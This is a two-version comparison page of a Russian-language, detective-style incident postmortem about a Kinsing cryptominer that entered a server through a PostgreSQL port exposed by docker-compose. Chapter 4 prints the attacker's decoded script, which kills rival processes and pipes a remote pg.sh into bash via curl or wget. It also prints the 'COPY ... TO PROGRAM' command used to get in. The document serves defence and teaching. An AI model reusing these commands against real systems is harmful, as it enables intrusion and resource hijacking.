This list is frozen — edits and suggestions are off.

Compare versions

From:To:
+1616
# Дело о таинственном майнереAdded
Дело о таинственном майнере

Детективная история по мотивам реальных событий


Пролог

Всё началось с записки, какие пишут в понедельник утром:

«Надо подчистить swap и как-то его увеличить, и что-то предпринять для наблюдения за ним.»

Обычная уборка. Полчаса работы. Никто ещё не знал, что это начало одного из самых захватывающих расследований в истории этого сервера.

Имена процессов не изменены — они настоящие, и знать их в лицо полезно. Адреса, имена серверов и проектов убраны.

## Глава 1. Странные симптомыAdded
Глава 1. Странные симптомы

Детектив — он же системный администратор — включил терминал и набрал free -h. То, что он увидел, заставило его нахмуриться.

yaml
1 total used free shared buff/cache available
2Mem: 3.8Gi 2.8Gi 974Mi 90Mi 506Mi 1.1Gi
3Swap: 511Mi 511Mi 64Ki
4 ^
5 полностью забит

«Странно, — подумал детектив. — Swap под завязку. Надо копать глубже.»

Он набрал smem -s swap -r и стал просматривать список. Первые строки были знакомы: свои сервисы, свои процессы, всё на местах. Он прокрутил ниже — и замер.

code
1 PID USER COMMAND SWAP USS
2820044 70 /tmp/kinsing 472 10832
3832882 70 /tmp/kdevtmpfsi 0 5568
4834056 70 /tmp/kdevtmpfsi 0 2386144
5 ^
6 2.3 ГИГАБАЙТА

«Это что ещё за kdevtmpfsi? И kinsing? Процессы с такими именами не должны работать в /tmp. И кто этот пользователь с номером 70?»

Он проверил процессор:

code
170 834056 162% CPU /tmp/kdevtmpfsi

162 процента. Полтора ядра. Постоянно.

«Так вот кто съедает все ресурсы. Но кто ты и откуда пришёл, загадочный незнакомец?»

> **На полях: почему `free -h` всегда выглядит страшно**Added

На полях: почему free -h всегда выглядит страшно

Колонка free почти всегда близка к нулю, и это нормально: Linux отдаёт неиспользуемую память под кэш файловой системы и мгновенно освобождает её, когда она нужна приложениям. Смотреть надо на available, а не на free. Подробный разбор — Linux ate my RAM и устройство памяти в ядре.

И про имя. kdevtmpfsi — это не случайный набор букв. В ядре Linux есть настоящий поток kdevtmpfs, он занимается файловой системой устройств. Одна лишняя буква на конце — и взгляд администратора скользит мимо. Расчёт именно на это.

## Глава 2. Первые уликиAdded
Глава 2. Первые улики

Детектив начал собирать улики. Команда за командой он выстраивал картину.

Улика первая: где они прячутся.

bash
1$ find / -name kinsing -o -name kdevtmpfsi 2>/dev/null
2/var/lib/docker/overlay2/266257.../diff/tmp/kinsing
3/var/lib/docker/overlay2/266257.../diff/tmp/kdevtmpfsi

«Они прячутся внутри контейнера! Какая хитрость.»

Улика вторая: что это за файлы.

bash
1-rwxrwxrwx 1 70 70 5967872 kinsing
2-rwx------ 1 70 70 2084964 kdevtmpfsi
3-rw------- 1 70 70 0 linux.lock

«Пять с половиной мегабайт и два. Плюс файл блокировки.» Детектив задумался. Файл блокировки означал одно: злоумышленник позаботился, чтобы две копии майнера не мешали друг другу. Это была не случайная поделка.

Улика третья: самая неприятная.

bash
1$ grep kdevtmpfsi /var/log/syslog.1
22025-10-08T16:29:19 Out of memory: Killed process 223790 (kdevtmpfsi)

Детектив перечитал дату дважды.

«Восьмое октября. Это было пять дней назад. Сколько же времени эта тварь здесь работала?»

Логи показывали одно и то же снова и снова: система задыхалась от нехватки памяти, ядро убивало прожорливый процесс — а он возрождался, как феникс из пепла.

«Интересно... кто же тебя воскрешает?»

> **На полях: три вещи из этой главы**Added

На полях: три вещи из этой главы

Что такое OOM killer. Когда память кончается, ядро выбирает процесс с худшим счётом и убивает его, чтобы спасти систему. Это не сбой, а последняя линия обороны. Запись в логе — надёжный признак, что кто-то ест больше положенного.

Почему путь такой длинный. /var/lib/docker/overlay2/... — это слои файловой системы контейнера. Всё, что процесс внутри записал поверх образа, оказывается здесь, на диске хоста. Как это устроено — драйвер overlay2.

Кто такой kinsing. Это не самоделка, а известное семейство, охотящееся именно на плохо закрытые контейнерные окружения. Технический разбор — Threat Alert: Kinsing от исследователей Aqua Security. Приём в целом каталогизирован как Resource Hijacking, T1496.

## Глава 3. Поиск точки входаAdded
Глава 3. Поиск точки входа

Самый важный вопрос был ещё не задан: как они сюда попали?

Детектив исследовал слои Docker и по идентификатору вышел на конкретный контейнер.

bash
1$ docker inspect <id> | grep -E 'Name|Image'
2"Name": "/..._postgres",
3"Image": "postgres:15-alpine"

«PostgreSQL?! Как база данных может запускать вирусы?»

Но детектив был опытным следователем. Прежде чем строить теории, он проверил очевидное — порты.

bash
1$ ss -tlnp | grep 5432
2LISTEN 0.0.0.0:5432
3 ^^^^^^^
4 подключиться может кто угодно

Он смотрел на эти четыре нуля довольно долго.

«Эврика. Вот она, дыра.»

> **На полях: четыре нуля, которые всё решают**Added

На полях: четыре нуля, которые всё решают

0.0.0.0 означает «слушать на всех сетевых интерфейсах». На домашнем ноутбуке за роутером это практически то же самое, что localhost, — снаружи всё равно не достучаться. На сервере с публичным адресом среди этих интерфейсов есть тот, который смотрит в интернет.

Одна и та же строка, два противоположных смысла. Именно поэтому конфигурация, отлично работавшая на машине разработчика, оказалась дверью нараспашку.

Запись в composeКто может подключиться
"5432:5432"весь интернет
"127.0.0.1:5432:5432"только сам сервер
раздела ports неттолько контейнеры в той же сети

Документация: раздел ports.

И отдельно — про файрвол. Мысль «у меня же стоит ufw» здесь не работает. Из документации Docker: «Docker routes container traffic in the nat table, which means that packets are diverted before it reaches the INPUT and OUTPUT chains that ufw uses.» Пакеты уходят по назначению раньше, чем доберутся до правил ufw. Проверять надо снаружи: nc -zv адрес 5432.

## Глава 4. Реконструкция преступленияAdded
Глава 4. Реконструкция преступления

Детектив залез в логи самого PostgreSQL и обнаружил золото:

yaml
1ERROR: program "echo IyEvYmluL2Jhc2gK... | base64 -d | bash" failed

«Base64. Посмотрим, что там спрятано.»

Он расшифровал строку — и увидел чужой почерк:

bash
1#!/bin/bash
2pkill -f zsvc # убить защиту
3pkill -f pdefenderd # убить защиту
4pkill -f updatecheckerd # убить защиту
5
6if [ -x "$(command -v curl)" ]; then
7 curl <адрес>/pg.sh | bash
8elif [ -x "$(command -v wget)" ]; then
9 wget -q -O- <адрес>/pg.sh | bash
10fi

Первые три строки заставили детектива усмехнуться. Скрипт начинал работу с того, что убивал чужих майнеров. На взломанных серверах, оказывается, бывает тесно.

А дальше он нашёл саму команду входа — и это было самое интересное во всём деле:

sql
1COPY (SELECT '') TO PROGRAM 'echo ... | base64 -d | bash';

Обычный SQL. Никакого взлома, никакой хитрой уязвимости. Атакующий просто вежливо попросил базу данных выполнить команду — и база данных выполнила.

Детектив откинулся на спинку кресла и восстановил картину:

code
11. Бот сканирует интернет и находит открытый порт 5432
2 |
32. Подключается к базе
4 |
53. Выполняет COPY ... TO PROGRAM
6 |
74. Скачивает kinsing и kdevtmpfsi в /tmp
8 |
95. Запускает их от пользователя postgres
10 |
116. Начинает майнить Monero на чужом железе

Первая атака: 8 октября. Длительность: пять дней. Ущерб: 2.3 ГБ памяти, 162% процессора и неизвестное количество украденного электричества.

> **На полях: почему это не считается уязвимостью**Added

На полях: почему это не считается уязвимостью

COPY ... TO PROGRAM работает ровно так, как задумано. Это штатная возможность PostgreSQL: выгрузить результат запроса не в файл, а на вход внешней программе — удобно для конвейеров обработки данных. Описание: SQL COPY.

Доступ к ней имеет суперпользователь и обладатели роли pg_execute_server_program. А пользователь postgres из стандартного образа — как раз суперпользователь.

Отсюда вывод, который стоит запомнить накрепко: доступ к порту базы данных равен возможности выполнять команды на сервере. Не «прочитать таблицы» — а выполнять команды. По последствиям это то же самое, что оставить открытым SSH без пароля.

## Глава 5. Операция «Чистые руки»Added
Глава 5. Операция «Чистые руки»

Теперь, когда детектив знал всю правду, пришло время действовать.

Шаг первый: ликвидация.

bash
1$ kill -9 820044 834056
2$ rm -f /tmp/kinsing /tmp/kdevtmpfsi

Он проверил память:

code
1Было: 3.5Gi занято (92%)
2Стало: 1.2Gi занято (31%)
3
4Освобождено: 2.3 ГБ

Шаг второй: закрыть дверь. И вот здесь детектив сделал паузу, потому что это был единственный шаг, без которого всё остальное не имело смысла.

yaml
1# было
2ports: ["5432:5432"]
3
4# стало
5ports: ["127.0.0.1:5432:5432"]

Шаг третий: поставить наблюдение. Сторож за памятью. Поиск подозрительных процессов по расписанию. fail2ban на SSH. Оповещение, если ядро снова начнёт кого-то убивать за прожорливость.

Шаг четвёртый, которого в первой версии этой истории не было, а он обязателен: сменить все секреты. Если кто-то пять дней выполнял команды от имени базы, он мог прочитать переменные окружения, файлы конфигурации, ключи и содержимое таблиц. Сервер вычищен — а пароли по-прежнему те же.

Детектив запустил memstat и посмотрел на экран.

yaml
1Swap: 47% используется
2RAM: 55% используется
3
4Сторож памяти: активен
5Поиск вредоносного: активен

«Дело закрыто, — улыбнулся он. — Но я буду наблюдать.»

> **На полях: две ловушки этой главы**Added

На полях: две ловушки этой главы

Порядок важнее скорости. Убить процесс — самое заметное действие и самое бесполезное, если дверь осталась открытой. Пока порт доступен, тот же бот вернётся через час, и появится ощущение, что заражение неизлечимо. Сначала дверь, потом уборка.

restart не меняет порты. Проброс задаётся в момент создания контейнера. Люди правят compose, делают docker compose restart, видят порт на месте и решают, что правка не сработала. Нужно docker compose up -d --force-recreate.

Что стоит поставить один раз и забыть: fail2ban от перебора паролей, а из общих рекомендаций по контейнерам — OWASP Docker Security Cheat Sheet.

## Глава 6. Поиск виновникаAdded
Глава 6. Поиск виновника

Когда буря улеглась, детектив задался последним вопросом: «А кто же впустил злодеев в дом?»

Он открыл древний фолиант под названием Git History и начал листать страницы прошлого.

bash
1$ git log --all --oneline
2* 67a0170 (grafted) fix: bind PostgreSQL ports to localhost
3 ^^^^^^^
4 подозрительное слово

«Grafted? Это же обрезанная история!» — воскликнул детектив. — «Улик просто нет на диске. Надо достать остальные.»

bash
1$ git fetch --unshallow
2# получено 169 объектов из прошлого...

И тут открылась правда. Полная история файла:

sql
167a0170 fix: bind PostgreSQL ports to localhost <- исправление
24eda410 fix: add Vite environment variables
3c35d1c3 Add CORS environment variables
43ac9988 Update Dockerfiles and configuration
5720d62f Initial commit <- начало

Руки дрожали от волнения, когда он набирал:

bash
1$ git show 720d62f:backend/docker-compose.yml | grep -A6 'image: postgres'

И вот она — улика века:

yaml
1postgres:
2 image: postgres:15-alpine
3 ports:
4 - "5432:5432"

Самый первый коммит проекта. Тот самый, который никто никогда не читает внимательно, потому что там «просто начальная настройка».

Оставалась последняя зацепка. Самая важная.

«А кто же автор этого коммита?»

bash
1$ git show --format="%an <%ae> — %ad" 720d62f

Детектив прочитал имя. Потом перечитал его ещё раз.

Имя было его собственное.

В комнате стало очень тихо. Пять дней расследования, три отчёта, анализ вредоносного кода, раскодировка base64, раскопки в слоях Docker — и всё это затем, чтобы выйти на самого себя.

Лучший сыщик города долго смотрел в экран.

— Ну здравствуй, — сказал он наконец.

> **На полях: инструменты этой главы**Added

На полях: инструменты этой главы

grafted в выводе git log означает, что репозиторий склонировали с --depth 1 — распространённая настройка в системах развёртывания ради скорости. История не удалена, а просто не скачана. Проверить: git rev-parse --is-shallow-repository, вернуть: git fetch --unshallow.

Как искать строку по всей истории. Детектив листал вручную, но есть способ быстрее:

bash
1git log -S'5432:5432' --format='%h %ad %an %s' --date=short

Флаг -S (в документации его называют pickaxe, «кирка») находит коммиты, где число вхождений строки изменилось — то есть где она появилась или исчезла. Есть ещё -G: он ищет по регулярному выражению во всём тексте изменений, включая простые перемещения строк. Для вопроса «когда это появилось» нужен именно -S. Подробности — git log.

## РазгадкаAdded
Разгадка

Составлять психологический портрет преступника оказалось неловко: детектив слишком хорошо знал подозреваемого.

Мотива не было. Злого умысла не было. Была конфигурация из раздела «быстрый старт» — той самой, что пишут под «запусти у себя и посмотри, как работает». Порты наружу, чтобы можно было подключиться клиентом. Пароль попроще. Никаких ограничений. Для своей задачи такой пример абсолютно правилен.

А потом его развернули на публичном сервере. Без единого изменения.

«Классическое „у меня работает“», — записал детектив и ненадолго задумался о том, как объективно расследовать дело, где ты сам и следователь, и подозреваемый, и потерпевший.

Соблазн был велик. В первом варианте отчёта появилась даже разбивка ответственности в процентах — семьдесят на тридцать, в собственную пользу. Перечитав этот абзац на свежую голову, детектив его вычеркнул.

Потому что вопрос «кто это написал» не меняет ровным счётом ничего — особенно когда ответ известен заранее. А вот другой вопрос меняет:

Почему эта строка доехала до боевого сервера, ни во что не упершись?

Ни ревью. Ни проверка при сборке. Ни чеклист перед выкаткой. Значит, не было ни одного из трёх.

И ответ на этот вопрос помещается в одну строку:

bash
1grep -nE '^\s*-\s*"?[0-9]+:(5432|6379|3306|27017)"?' docker-compose.yml && exit 1

Она проверяет каждую выкатку, работает по выходным и никогда не устаёт. В отличие от внимания.

> **На полях: почему разбор без виноватых работает лучше**Added

На полях: почему разбор без виноватых работает лучше

Идея не в мягкости, а в статистике: наказанный человек больше не повторит эту ошибку, но её повторит кто-то другой, кто о разборе не слышал. Зато у названного виноватым появляется стимул в следующий раз промолчать о странности — и следующий инцидент найдут позже.

Классический текст на эту тему — глава Postmortem Culture из книги Google о надёжности систем.

Что можно поставить в конвейер за один вечер:

  • Trivy — ищет известные уязвимости в образах;
  • Hadolint — линтер для Dockerfile;
  • Docker Bench Security — проверка настроек хоста по общепринятым требованиям.

Все трое в первый запуск дадут много шума. Это нормально: разбирается критичное, остальное уходит в задачи.

## ЭпилогAdded
Эпилог

Детектив закрыл ноутбук.

Виновник найден — и находился всё это время в комнате. Мотив установлен: пример из документации, принятый за готовое решение. Улики сохранены: в истории git навсегда.

Система защищена: порт закрыт, секреты сменены, сторож дежурит, оповещения настроены.

«Самое неприятное в этой работе, — подумал он, глядя в окно, — что преступник почти всегда оказывается тобой месяц назад. Зато лучшая защита — это знания. И теперь они есть.»


Мораль
  1. Порты баз данных не публикуются наружу. Ни 5432, ни 6379, ни 3306, ни 27017.
  2. Пример из документации — не конфигурация для боя. Между ними всегда есть работа.
  3. Файрвол не закроет то, что опубликовал Docker. Проверяй снаружи.
  4. Сигнал обычно уже есть. Пять дней потеряли не потому, что система молчала, а потому, что её никто не слушал.
  5. После взлома меняются все секреты. Иначе второй визит будет тише первого.
  6. Вывод из инцидента — это строка кода, а не фамилия. Даже если фамилия твоя.

«В мире Docker нет мелочей. Каждый проброшенный порт — это дверь. И каждая дверь должна быть закрыта на замок.»

Дело закрыто.

# Дело о таинственном майнереRemoved
# Дело о таинственном майнере *Детективная история по мотивам реальных событий* --- ## Пролог Всё началось с записки, какие пишут в понедельник утром: > «Надо подчистить swap и как-то его увеличить, и что-то предпринять для наблюдения за ним.» Обычная уборка. Полчаса работы. Никто ещё не знал, что это начало одного из самых захватывающих расследований в истории этого сервера. *Имена процессов не изменены — они настоящие, и знать их в лицо полезно. Адреса, имена серверов и проектов убраны.*
## Глава 1. Странные симптомыRemoved
## Глава 1. Странные симптомы Детектив — он же системный администратор — включил терминал и набрал `free -h`. То, что он увидел, заставило его нахмуриться. ``` total used free shared buff/cache available Mem: 3.8Gi 2.8Gi 974Mi 90Mi 506Mi 1.1Gi Swap: 511Mi 511Mi 64Ki ^ полностью забит ``` «Странно, — подумал детектив. — Swap под завязку. Надо копать глубже.» Он набрал `smem -s swap -r` и стал просматривать список. Первые строки были знакомы: свои сервисы, свои процессы, всё на местах. Он прокрутил ниже — и замер. ``` PID USER COMMAND SWAP USS 820044 70 /tmp/kinsing 472 10832 832882 70 /tmp/kdevtmpfsi 0 5568 834056 70 /tmp/kdevtmpfsi 0 2386144 ^ 2.3 ГИГАБАЙТА ``` «Это что ещё за `kdevtmpfsi`? И `kinsing`? Процессы с такими именами не должны работать в `/tmp`. И кто этот пользователь с номером 70?» Он проверил процессор: ``` 70 834056 162% CPU /tmp/kdevtmpfsi ``` 162 процента. Полтора ядра. Постоянно. «Так вот кто съедает все ресурсы. Но кто ты и откуда пришёл, загадочный незнакомец?»
> **На полях: почему `free -h` всегда выглядит страшно**Removed
> **На полях: почему `free -h` всегда выглядит страшно** > > Колонка `free` почти всегда близка к нулю, и это нормально: Linux отдаёт неиспользуемую память под кэш файловой системы и мгновенно освобождает её, когда она нужна приложениям. Смотреть надо на `available`, а не на `free`. Подробный разбор — [Linux ate my RAM](https://www.linuxatemyram.com/) и [устройство памяти в ядре](https://docs.kernel.org/admin-guide/mm/concepts.html). > > **И про имя.** `kdevtmpfsi` — это не случайный набор букв. В ядре Linux есть настоящий поток `kdevtmpfs`, он занимается файловой системой устройств. Одна лишняя буква на конце — и взгляд администратора скользит мимо. Расчёт именно на это.
## Глава 2. Первые уликиRemoved
## Глава 2. Первые улики Детектив начал собирать улики. Команда за командой он выстраивал картину. **Улика первая: где они прячутся.** ```bash $ find / -name kinsing -o -name kdevtmpfsi 2>/dev/null /var/lib/docker/overlay2/266257.../diff/tmp/kinsing /var/lib/docker/overlay2/266257.../diff/tmp/kdevtmpfsi ``` «Они прячутся внутри контейнера! Какая хитрость.» **Улика вторая: что это за файлы.** ```bash -rwxrwxrwx 1 70 70 5967872 kinsing -rwx------ 1 70 70 2084964 kdevtmpfsi -rw------- 1 70 70 0 linux.lock ``` «Пять с половиной мегабайт и два. Плюс файл блокировки.» Детектив задумался. Файл блокировки означал одно: злоумышленник позаботился, чтобы две копии майнера не мешали друг другу. Это была не случайная поделка. **Улика третья: самая неприятная.** ```bash $ grep kdevtmpfsi /var/log/syslog.1 2025-10-08T16:29:19 Out of memory: Killed process 223790 (kdevtmpfsi) ``` Детектив перечитал дату дважды. «Восьмое октября. Это было пять дней назад. Сколько же времени эта тварь здесь работала?» Логи показывали одно и то же снова и снова: система задыхалась от нехватки памяти, ядро убивало прожорливый процесс — а он возрождался, как феникс из пепла. «Интересно... кто же тебя воскрешает?»
> **На полях: три вещи из этой главы**Removed
> **На полях: три вещи из этой главы** > > **Что такое OOM killer.** Когда память кончается, ядро выбирает процесс с худшим счётом и убивает его, чтобы спасти систему. Это не сбой, а последняя линия обороны. Запись в логе — надёжный признак, что кто-то ест больше положенного. > > **Почему путь такой длинный.** `/var/lib/docker/overlay2/...` — это слои файловой системы контейнера. Всё, что процесс внутри записал поверх образа, оказывается здесь, на диске хоста. Как это устроено — [драйвер overlay2](https://docs.docker.com/engine/storage/drivers/overlayfs-driver/). > > **Кто такой kinsing.** Это не самоделка, а известное семейство, охотящееся именно на плохо закрытые контейнерные окружения. Технический разбор — [Threat Alert: Kinsing](https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/) от исследователей Aqua Security. Приём в целом каталогизирован как [Resource Hijacking, T1496](https://attack.mitre.org/techniques/T1496/).
## Глава 3. Поиск точки входаRemoved
## Глава 3. Поиск точки входа Самый важный вопрос был ещё не задан: **как они сюда попали?** Детектив исследовал слои Docker и по идентификатору вышел на конкретный контейнер. ```bash $ docker inspect <id> | grep -E 'Name|Image' "Name": "/..._postgres", "Image": "postgres:15-alpine" ``` «PostgreSQL?! Как база данных может запускать вирусы?» Но детектив был опытным следователем. Прежде чем строить теории, он проверил очевидное — порты. ```bash $ ss -tlnp | grep 5432 LISTEN 0.0.0.0:5432 ^^^^^^^ подключиться может кто угодно ``` Он смотрел на эти четыре нуля довольно долго. «Эврика. Вот она, дыра.»
> **На полях: четыре нуля, которые всё решают**Removed
> **На полях: четыре нуля, которые всё решают** > > `0.0.0.0` означает «слушать на всех сетевых интерфейсах». На домашнем ноутбуке за роутером это практически то же самое, что localhost, — снаружи всё равно не достучаться. На сервере с публичным адресом среди этих интерфейсов есть тот, который смотрит в интернет. > > Одна и та же строка, два противоположных смысла. Именно поэтому конфигурация, отлично работавшая на машине разработчика, оказалась дверью нараспашку. > > | Запись в compose | Кто может подключиться | > |---|---| > | `"5432:5432"` | весь интернет | > | `"127.0.0.1:5432:5432"` | только сам сервер | > | раздела `ports` нет | только контейнеры в той же сети | > > Документация: [раздел ports](https://docs.docker.com/reference/compose-file/services/). > > **И отдельно — про файрвол.** Мысль «у меня же стоит ufw» здесь не работает. Из [документации Docker](https://docs.docker.com/engine/network/packet-filtering-firewalls/): *«Docker routes container traffic in the `nat` table, which means that packets are diverted before it reaches the `INPUT` and `OUTPUT` chains that ufw uses.»* Пакеты уходят по назначению раньше, чем доберутся до правил ufw. Проверять надо снаружи: `nc -zv адрес 5432`.
## Глава 4. Реконструкция преступленияRemoved
## Глава 4. Реконструкция преступления Детектив залез в логи самого PostgreSQL и обнаружил золото: ``` ERROR: program "echo IyEvYmluL2Jhc2gK... | base64 -d | bash" failed ``` «Base64. Посмотрим, что там спрятано.» Он расшифровал строку — и увидел чужой почерк: ```bash #!/bin/bash pkill -f zsvc # убить защиту pkill -f pdefenderd # убить защиту pkill -f updatecheckerd # убить защиту if [ -x "$(command -v curl)" ]; then curl <адрес>/pg.sh | bash elif [ -x "$(command -v wget)" ]; then wget -q -O- <адрес>/pg.sh | bash fi ``` Первые три строки заставили детектива усмехнуться. Скрипт начинал работу с того, что убивал **чужих майнеров**. На взломанных серверах, оказывается, бывает тесно. А дальше он нашёл саму команду входа — и это было самое интересное во всём деле: ```sql COPY (SELECT '') TO PROGRAM 'echo ... | base64 -d | bash'; ``` Обычный SQL. Никакого взлома, никакой хитрой уязвимости. Атакующий просто вежливо попросил базу данных выполнить команду — и база данных выполнила. Детектив откинулся на спинку кресла и восстановил картину: ``` 1. Бот сканирует интернет и находит открытый порт 5432 | 2. Подключается к базе | 3. Выполняет COPY ... TO PROGRAM | 4. Скачивает kinsing и kdevtmpfsi в /tmp | 5. Запускает их от пользователя postgres | 6. Начинает майнить Monero на чужом железе ``` Первая атака: 8 октября. Длительность: пять дней. Ущерб: 2.3 ГБ памяти, 162% процессора и неизвестное количество украденного электричества.
> **На полях: почему это не считается уязвимостью**Removed
> **На полях: почему это не считается уязвимостью** > > `COPY ... TO PROGRAM` работает ровно так, как задумано. Это штатная возможность PostgreSQL: выгрузить результат запроса не в файл, а на вход внешней программе — удобно для конвейеров обработки данных. Описание: [SQL COPY](https://www.postgresql.org/docs/current/sql-copy.html). > > Доступ к ней имеет суперпользователь и обладатели роли [`pg_execute_server_program`](https://www.postgresql.org/docs/current/predefined-roles.html). А пользователь `postgres` из стандартного образа — как раз суперпользователь. > > Отсюда вывод, который стоит запомнить накрепко: **доступ к порту базы данных равен возможности выполнять команды на сервере.** Не «прочитать таблицы» — а выполнять команды. По последствиям это то же самое, что оставить открытым SSH без пароля.
## Глава 5. Операция «Чистые руки»Removed
## Глава 5. Операция «Чистые руки» Теперь, когда детектив знал всю правду, пришло время действовать. **Шаг первый: ликвидация.** ```bash $ kill -9 820044 834056 $ rm -f /tmp/kinsing /tmp/kdevtmpfsi ``` Он проверил память: ``` Было: 3.5Gi занято (92%) Стало: 1.2Gi занято (31%) Освобождено: 2.3 ГБ ``` **Шаг второй: закрыть дверь.** И вот здесь детектив сделал паузу, потому что это был единственный шаг, без которого всё остальное не имело смысла. ```yaml # было ports: ["5432:5432"] # стало ports: ["127.0.0.1:5432:5432"] ``` **Шаг третий: поставить наблюдение.** Сторож за памятью. Поиск подозрительных процессов по расписанию. `fail2ban` на SSH. Оповещение, если ядро снова начнёт кого-то убивать за прожорливость. **Шаг четвёртый**, которого в первой версии этой истории не было, а он обязателен: **сменить все секреты**. Если кто-то пять дней выполнял команды от имени базы, он мог прочитать переменные окружения, файлы конфигурации, ключи и содержимое таблиц. Сервер вычищен — а пароли по-прежнему те же. Детектив запустил `memstat` и посмотрел на экран. ``` Swap: 47% используется RAM: 55% используется Сторож памяти: активен Поиск вредоносного: активен ``` «Дело закрыто, — улыбнулся он. — Но я буду наблюдать.»
> **На полях: две ловушки этой главы**Removed
> **На полях: две ловушки этой главы** > > **Порядок важнее скорости.** Убить процесс — самое заметное действие и самое бесполезное, если дверь осталась открытой. Пока порт доступен, тот же бот вернётся через час, и появится ощущение, что заражение неизлечимо. Сначала дверь, потом уборка. > > **`restart` не меняет порты.** Проброс задаётся в момент создания контейнера. Люди правят compose, делают `docker compose restart`, видят порт на месте и решают, что правка не сработала. Нужно `docker compose up -d --force-recreate`. > > Что стоит поставить один раз и забыть: [fail2ban](https://github.com/fail2ban/fail2ban) от перебора паролей, а из общих рекомендаций по контейнерам — [OWASP Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html).
## Глава 6. Поиск виновникаRemoved
## Глава 6. Поиск виновника Когда буря улеглась, детектив задался последним вопросом: «А кто же впустил злодеев в дом?» Он открыл древний фолиант под названием Git History и начал листать страницы прошлого. ```bash $ git log --all --oneline * 67a0170 (grafted) fix: bind PostgreSQL ports to localhost ^^^^^^^ подозрительное слово ``` «Grafted? Это же обрезанная история!» — воскликнул детектив. — «Улик просто нет на диске. Надо достать остальные.» ```bash $ git fetch --unshallow # получено 169 объектов из прошлого... ``` И тут открылась правда. Полная история файла: ``` 67a0170 fix: bind PostgreSQL ports to localhost <- исправление 4eda410 fix: add Vite environment variables c35d1c3 Add CORS environment variables 3ac9988 Update Dockerfiles and configuration 720d62f Initial commit <- начало ``` Руки дрожали от волнения, когда он набирал: ```bash $ git show 720d62f:backend/docker-compose.yml | grep -A6 'image: postgres' ``` И вот она — улика века: ```yaml postgres: image: postgres:15-alpine ports: - "5432:5432" ``` Самый первый коммит проекта. Тот самый, который никто никогда не читает внимательно, потому что там «просто начальная настройка». Детектив сверил времена: ``` 8 октября, 08:07 — небезопасная конфигурация закоммичена 8 октября, 16:29 — первая атака ``` Восемь часов. «Восемь часов, — повторил он вслух. — Никто нас не искал. Просто боты круглосуточно перебирают весь интернет и стучатся во все стандартные порты подряд. Открытую дверь находят раньше, чем первый живой посетитель находит сайт.»
> **На полях: инструменты этой главы**Removed
> **На полях: инструменты этой главы** > > **`grafted`** в выводе `git log` означает, что репозиторий склонировали с `--depth 1` — распространённая настройка в системах развёртывания ради скорости. История не удалена, а просто не скачана. Проверить: `git rev-parse --is-shallow-repository`, вернуть: [`git fetch --unshallow`](https://git-scm.com/docs/git-fetch). > > **Как искать строку по всей истории.** Детектив листал вручную, но есть способ быстрее: > > ```bash > git log -S'5432:5432' --format='%h %ad %an %s' --date=short > ``` > > Флаг `-S` (в документации его называют pickaxe, «кирка») находит коммиты, где число вхождений строки изменилось — то есть где она появилась или исчезла. Есть ещё `-G`: он ищет по регулярному выражению во всём тексте изменений, включая простые перемещения строк. Для вопроса «когда это появилось» нужен именно `-S`. Подробности — [git log](https://git-scm.com/docs/git-log).
## РазгадкаRemoved
## Разгадка Детектив составил психологический портрет преступления и обнаружил, что оно скучнее, чем казалось. Мотива не было. Злого умысла не было. Была конфигурация из раздела «быстрый старт» — той самой, что пишут под «запусти у себя и посмотри, как работает». Порты наружу, чтобы можно было подключиться клиентом. Пароль попроще. Никаких ограничений. Для своей задачи такой пример абсолютно правилен. А потом его развернули на публичном сервере. Без единого изменения. «Классическое „у меня работает“», — записал детектив. Здесь очень легко скатиться в поиск виноватого. В первом варианте отчёта по этому делу даже была разбивка ответственности в процентах — семьдесят на тридцать. Детектив перечитал её и вычеркнул. Потому что вопрос «кто это написал» не меняет ровным счётом ничего. А вот другой вопрос меняет: **Почему эта строка доехала до боевого сервера, ни во что не упершись?** Ни ревью. Ни проверка при сборке. Ни чеклист перед выкаткой. Значит, не было ни одного из трёх. И ответ на этот вопрос помещается в одну строку: ```bash grep -nE '^\s*-\s*"?[0-9]+:(5432|6379|3306|27017)"?' docker-compose.yml && exit 1 ``` Она проверяет каждую выкатку, работает по выходным и никогда не устаёт. В отличие от внимания.
> **На полях: почему разбор без виноватых работает лучше**Removed
> **На полях: почему разбор без виноватых работает лучше** > > Идея не в мягкости, а в статистике: наказанный человек больше не повторит эту ошибку, но её повторит кто-то другой, кто о разборе не слышал. Зато у названного виноватым появляется стимул в следующий раз промолчать о странности — и следующий инцидент найдут позже. > > Классический текст на эту тему — глава [Postmortem Culture](https://sre.google/sre-book/postmortem-culture/) из книги Google о надёжности систем. > > **Что можно поставить в конвейер за один вечер:** > > - [Trivy](https://trivy.dev/) — ищет известные уязвимости в образах; > - [Hadolint](https://github.com/hadolint/hadolint) — линтер для Dockerfile; > - [Docker Bench Security](https://github.com/docker/docker-bench-security) — проверка настроек хоста по общепринятым требованиям. > > Все трое в первый запуск дадут много шума. Это нормально: разбирается критичное, остальное уходит в задачи.
## ЭпилогRemoved
## Эпилог Детектив закрыл ноутбук. Виновник найден: строка в конфигурации. Мотив установлен: пример из документации, принятый за готовое решение. Улики сохранены: в истории git навсегда. Система защищена: порт закрыт, секреты сменены, сторож дежурит, оповещения настроены. «Но самое главное, — подумал он, глядя в окно, — это то, что мы теперь знаем. Лучшая защита — это знания.» --- ### Мораль 1. Порты баз данных не публикуются наружу. Ни 5432, ни 6379, ни 3306, ни 27017. 2. Пример из документации — не конфигурация для боя. Между ними всегда есть работа. 3. Файрвол не закроет то, что опубликовал Docker. Проверяй снаружи. 4. Сигнал обычно уже есть. Пять дней потеряли не потому, что система молчала, а потому, что её никто не слушал. 5. После взлома меняются все секреты. Иначе второй визит будет тише первого. 6. Вывод из инцидента — это строка кода, а не фамилия. --- *«В мире Docker нет мелочей. Каждый проброшенный порт — это дверь. И каждая дверь должна быть закрыта на замок.»* **Дело закрыто.**